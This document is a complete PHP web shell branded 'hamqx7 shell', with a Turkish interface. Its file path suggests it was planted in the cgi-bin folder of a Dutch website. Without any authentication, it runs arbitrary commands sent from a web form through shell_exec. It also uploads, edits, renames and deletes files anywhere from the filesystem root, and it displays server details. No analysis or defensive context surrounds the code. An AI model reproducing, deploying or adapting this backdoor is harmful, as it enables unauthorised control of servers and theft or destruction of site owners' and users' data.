File: /home/beestg/domains/beestgenot.nl/public_html/cgi-bin/hamqx77.php
<?php
$baseDir = realpath('/'); // Kök dizin
$dir = isset($_GET['dir']) ? $_GET['dir'] : '';
$dir = realpath($dir);
if (!$dir || strpos($dir, $baseDir) !== 0) {
$dir = $baseDir;
}
$notif = '';
$terminalOutput = '';
$editFile = null;
$editContent = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$action = $_POST['action'] ?? '';
if ($action === 'delete') {
$file = realpath($_POST['file'] ?? '');
if ($file && strpos($file, $baseDir) === 0) {
if (is_file($file)) {
unlink($file);
$notif = "Dosya silindi: " . basename($file);
} elseif (is_dir($file)) {
rmdir($file);
$notif = "Klasör silindi: " . basename($file);
} else {
$notif = "Silme işlemi başarısız.";
}
}
} elseif ($action === 'rename') {
$file = realpath($_POST['file'] ?? '');
$newname = $_POST['newname'] ?? '';
if ($file && strpos($file, $baseDir) === 0 && $newname) {
$newname = basename($newname);
$newpath = dirname($file) . DIRECTORY_SEPARATOR . $newname;
if (!file_exists($newpath)) {
rename($file, $newpath);
$notif = "Yeniden adlandırıldı: " . basename($file) . " → " . $newname;
} else {
$notif = "Yeni isim zaten var!";
}
}
} elseif ($action === 'terminal') {
$command = $_POST['command'] ?? '';
$terminalOutput = shell_exec($command . ' 2>&1');
} elseif ($action === 'upload') {
if (isset($_FILES['uploadfile']) && $_FILES['uploadfile']['error'] === 0) {
$targetPath = $dir . DIRECTORY_SEPARATOR . basename($_FILES['uploadfile']['name']);
if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $targetPath)) {
$notif = "Dosya başarıyla yüklendi: " . basename($targetPath);
} else {
$notif = "Dosya yüklenirken hata oluştu!";
}
} else {
$notif = "Dosya seçilmedi veya hata var!";
}
} elseif ($action === 'edit_open') {
$file = realpath($_POST['file'] ?? '');
if ($file && strpos($file, $baseDir) === 0 && is_file($file)) {
$editFile = $file;
$editContent = file_get_contents($file);
} else {
$notif = "Dosya açılamadı!";
}
} elseif ($action === 'edit_save') {
$file = realpath($_POST['file'] ?? '');
$content = $_POST['content'] ?? '';
if ($file && strpos($file, $baseDir) === 0 && is_file($file)) {
if (file_put_contents($file, $content) !== false) {
$notif = "Dosya kaydedildi: " . basename($file);
} else {
$notif = "Dosya kaydedilemedi!";
}
}
}
}
$files = scandir($dir);
$files = array_filter($files, fn($f) => $f !== '.' && $f !== '..');
$server_os = php_uname();
$php_version = phpversion();
$server_software = $_SERVER['SERVER_SOFTWARE'] ?? 'Bilinmiyor';
$cpu_cores = null;
if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') {
$cpu_cores = trim(shell_exec('nproc 2>/dev/null'));
} else {
$cpu_cores = trim(shell_exec('wmic cpu get NumberOfCores 2>NUL'));
$cpu_cores = preg_replace('/\D/', '', $cpu_cores);
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8" />
<title>hamqx7 shell</title>
<style>
@keyframes rgbshift {
0% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
100% { background-position: 0% 50%; }
}
body {
margin: 0; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(-45deg, #ff0000, #ff6666, #cc0000, #ff3333);
background-size: 400% 400%;
animation: rgbshift 15s ease infinite;
color: #fff;
}
header {
padding: 1rem; text-align: center;
font-size: 2rem; font-weight: bold;
text-shadow: 0 0 5px #660000;
user-select: none;
}
section#server-info {
background: rgba(51,0,0,0.75);
color: #fff;
padding: 0.7rem 1rem;
font-family: monospace;
font-size: 0.9rem;
text-align: center;
user-select: none;
margin: 0 10px 15px 10px;
border-radius: 5px;
line-height: 1.6;
}
.container {
width: 95%;
max-width: 1000px;
margin: auto;
background: rgba(0,0,0,0.5);
border-radius: 10px;
padding: 15px;
box-sizing: border-box;
user-select: text;
}
table {
width: 100%;
border-collapse: collapse;
margin-bottom: 1rem;
}
th, td {
padding: 8px 12px;
border: 1px solid #cc2222;
text-align: left;
vertical-align: middle;
}
th {
background-color: #aa0000;
user-select:none;
}
tr:nth-child(even) {
background-color: rgba(255,255,255,0.05);
}
a.button, button.delete-btn, button.rename-btn, button.edit-btn {
background: linear-gradient(45deg, #ff4444, #cc0000);
border: none;
color: white;
padding: 6px 14px;
margin: 0 5px 0 0;
cursor: pointer;
font-weight: bold;
border-radius: 5px;
transition: background 0.3s ease;
user-select:none;
text-decoration: none;
display: inline-block;
}
a.button:hover, button.delete-btn:hover, button.rename-btn:hover, button.edit-btn:hover {
background: linear-gradient(45deg, #ff0000, #aa0000);
}
footer {
text-align: center;
padding: 10px;
font-size: 0.9rem;
background: rgba(51,0,0,0.7);
user-select:none;
margin-top: 20px;
border-radius: 0 0 10px 10px;
}
footer a {
color: #ff6666;
text-decoration: none;
font-weight: bold;
}
footer a:hover {
text-decoration: underline;
}
#notif {
position: fixed;
top: 10px; left: 50%;
transform: translateX(-50%);
background: rgba(255,0,0,0.9);
color: white;
padding: 10px 25px;
border-radius: 30px;
font-weight: bold;
display: none;
user-select:none;
z-index: 9999;
box-shadow: 0 0 10px #ff4444;
animation: fadein 0.5s ease forwards;
}
@keyframes fadein {
from {opacity: 0;}
to {opacity: 1;}
}
#terminal {
background: #220000;
color: #fff;
font-family: monospace;
font-size: 1rem;
border-radius: 6px;
padding: 10px;
margin-top: 20px;
white-space: pre-wrap;
max-height: 300px;
overflow-y: auto;
border: 1px solid #cc2222;
}
form.terminal-form {
margin-top: 20px;
display: flex;
gap: 10px;
}
form.terminal-form input[type="text"] {
flex-grow: 1;
padding: 8px 12px;
border-radius: 6px;
border: 1px solid #cc2222;
background: #330000;
color: #fff;
font-family: monospace;
}
form.terminal-form button {
background: linear-gradient(45deg, #ff4444, #cc0000);
border: none;
color: white;
padding: 8px 14px;
cursor: pointer;
font-weight: bold;
border-radius: 6px;
transition: background 0.3s ease;
user-select:none;
}
form.terminal-form button:hover {
background: linear-gradient(45deg, #ff0000, #aa0000);
}
form.upload-form {
margin-top: 20px;
display: flex;
gap: 10px;
align-items: center;
}
form.upload-form input[type="file"] {
flex-grow: 1;
padding: 6px 12px;
border-radius: 6px;
border: 1px solid #cc2222;
background: #330000;
color: #fff;
font-family: monospace;
}
form.upload-form button {
background: linear-gradient(45deg, #ff4444, #cc0000);
border: none;
color: white;
padding: 8px 14px;
cursor: pointer;
font-weight: bold;
border-radius: 6px;
transition: background 0.3s ease;
user-select:none;
}
form.upload-form button:hover {
background: linear-gradient(45deg, #ff0000, #aa0000);
}
textarea#editarea {
width: 100%;
height: 350px;
font-family: monospace;
font-size: 1rem;
background: #330000;
color: #fff;
border-radius: 8px;
border: 1px solid #cc2222;
padding: 10px;
resize: vertical;
box-sizing: border-box;
margin-top: 15px;
}
.edit-area-container {
margin-top: 20px;
}
</style>
<script>
function renamePrompt(filePath, oldName) {
let newName = prompt('Yeni dosya/klasör adı:', oldName);
if (newName && newName !== oldName) {
const form = document.createElement('form');
form.method = 'POST';
form.style.display = 'none';
let actionInput = document.createElement('input');
actionInput.name = 'action';
actionInput.value = 'rename';
form.appendChild(actionInput);
let fileInput = document.createElement('input');
fileInput.name = 'file';
fileInput.value = filePath;
form.appendChild(fileInput);
let newNameInput = document.createElement('input');
newNameInput.name = 'newname';
newNameInput.value = newName;
form.appendChild(newNameInput);
document.body.appendChild(form);
form.submit();
}
}
function showNotification(msg) {
const notif = document.getElementById('notif');
notif.textContent = msg;
notif.style.display = 'block';
setTimeout(() => {
notif.style.display = 'none';
}, 3500);
}
window.onload = function() {
<?php if ($notif): ?>
showNotification("<?php echo addslashes($notif); ?>");
<?php endif; ?>
};
</script>
</head>
<body>
<header>hamqx7 shell</header>
<section id="server-info">
<div><strong>Sunucu İşletim Sistemi:</strong> <?php echo htmlspecialchars($server_os); ?></div>
<div><strong>PHP Sürümü:</strong> <?php echo htmlspecialchars($php_version); ?></div>
<div><strong>Sunucu Yazılımı:</strong> <?php echo htmlspecialchars($server_software); ?></div>
<div><strong>CPU Çekirdek Sayısı:</strong> <?php echo htmlspecialchars($cpu_cores ?: 'Bilinmiyor'); ?></div>
</section>
<div class="container">
<nav style="margin-bottom: 10px;">
<?php if ($dir !== $baseDir): ?>
<a class="button" href="?dir=<?php echo urlencode(dirname($dir)); ?>">⬆️ Üst Dizin</a>
<?php endif; ?>
<a class="button" href="?dir=<?php echo urlencode($baseDir); ?>">🏠 Kök Dizin</a>
<a class="button" href="?dir=<?php echo urlencode($dir); ?>">📁 Yenile</a>
</nav>
<?php if ($editFile): ?>
<div class="edit-area-container">
<h3>Düzenle: <?php echo htmlspecialchars(basename($editFile)); ?></h3>
<form method="POST">
<input type="hidden" name="action" value="edit_save">
<input type="hidden" name="file" value="<?php echo htmlspecialchars($editFile); ?>">
<textarea id="editarea" name="content"><?php echo htmlspecialchars($editContent); ?></textarea><br>
<button type="submit" class="delete-btn">Kaydet</button>
<a href="?dir=<?php echo urlencode(dirname($editFile)); ?>" class="button" style="background:#660000;">İptal</a>
</form>
</div>
<?php else: ?>
<table>
<thead>
<tr>
<th>Dosya / Klasör</th>
<th>Tür</th>
<th>Boyut</th>
<th>İşlem</th>
</tr>
</thead>
<tbody>
<?php foreach ($files as $file):
$fullPath = $dir . DIRECTORY_SEPARATOR . $file;
$isDir = is_dir($fullPath);
?>
<tr>
<td>
<?php if ($isDir): ?>
<a href="?dir=<?php echo urlencode($fullPath); ?>" style="color:#ffaaaa; font-weight:bold;"><?php echo htmlspecialchars($file); ?></a>
<?php else: ?>
<?php echo htmlspecialchars($file); ?>
<?php endif; ?>
</td>
<td><?php echo $isDir ? 'Klasör' : 'Dosya'; ?></td>
<td><?php echo $isDir ? '-' : number_format(filesize($fullPath) / 1024, 2) . ' KB'; ?></td>
<td>
<?php if (!$isDir): ?>
<form method="POST" style="display:inline;">
<input type="hidden" name="action" value="edit_open">
<input type="hidden" name="file" value="<?php echo htmlspecialchars($fullPath); ?>">
<button type="submit" class="edit-btn">Düzenle</button>
</form>
<?php endif; ?>
<form method="POST" style="display:inline;" onsubmit="return confirm('Silmek istediğine emin misin?');">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="file" value="<?php echo htmlspecialchars($fullPath); ?>">
<button type="submit" class="delete-btn">Sil</button>
</form>
<button class="rename-btn" onclick="renamePrompt('<?php echo addslashes($fullPath); ?>', '<?php echo addslashes($file); ?>')">Yeniden Adlandır</button>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<!-- Dosya Yükleme Formu -->
<h3>Dosya Yükle</h3>
<form class="upload-form" method="POST" enctype="multipart/form-data" autocomplete="off">
<input type="hidden" name="action" value="upload">
<input type="file" name="uploadfile" required>
<button type="submit">Yükle</button>
</form>
<!-- Terminal -->
<h3>Terminal</h3>
<form class="terminal-form" method="POST" autocomplete="off">
<input type="hidden" name="action" value="terminal">
<input type="text" name="command" placeholder="Komut girin (örneğin: ls -la)" required>
<button type="submit">Çalıştır</button>
</form>
<?php if (!empty($terminalOutput)): ?>
<div id="terminal"><?php echo htmlspecialchars($terminalOutput); ?></div>
<?php endif; ?>
<?php endif; ?>
</div>
<div id="notif"></div>
<footer>
<a href=https://www.instagram.com/hamqx7 target="_blank">Instagram: @hamqx7</a>
</footer>
<script>
// Bildirim gösterme fonksiyonu yukarıda var
</script>
</body>
</html>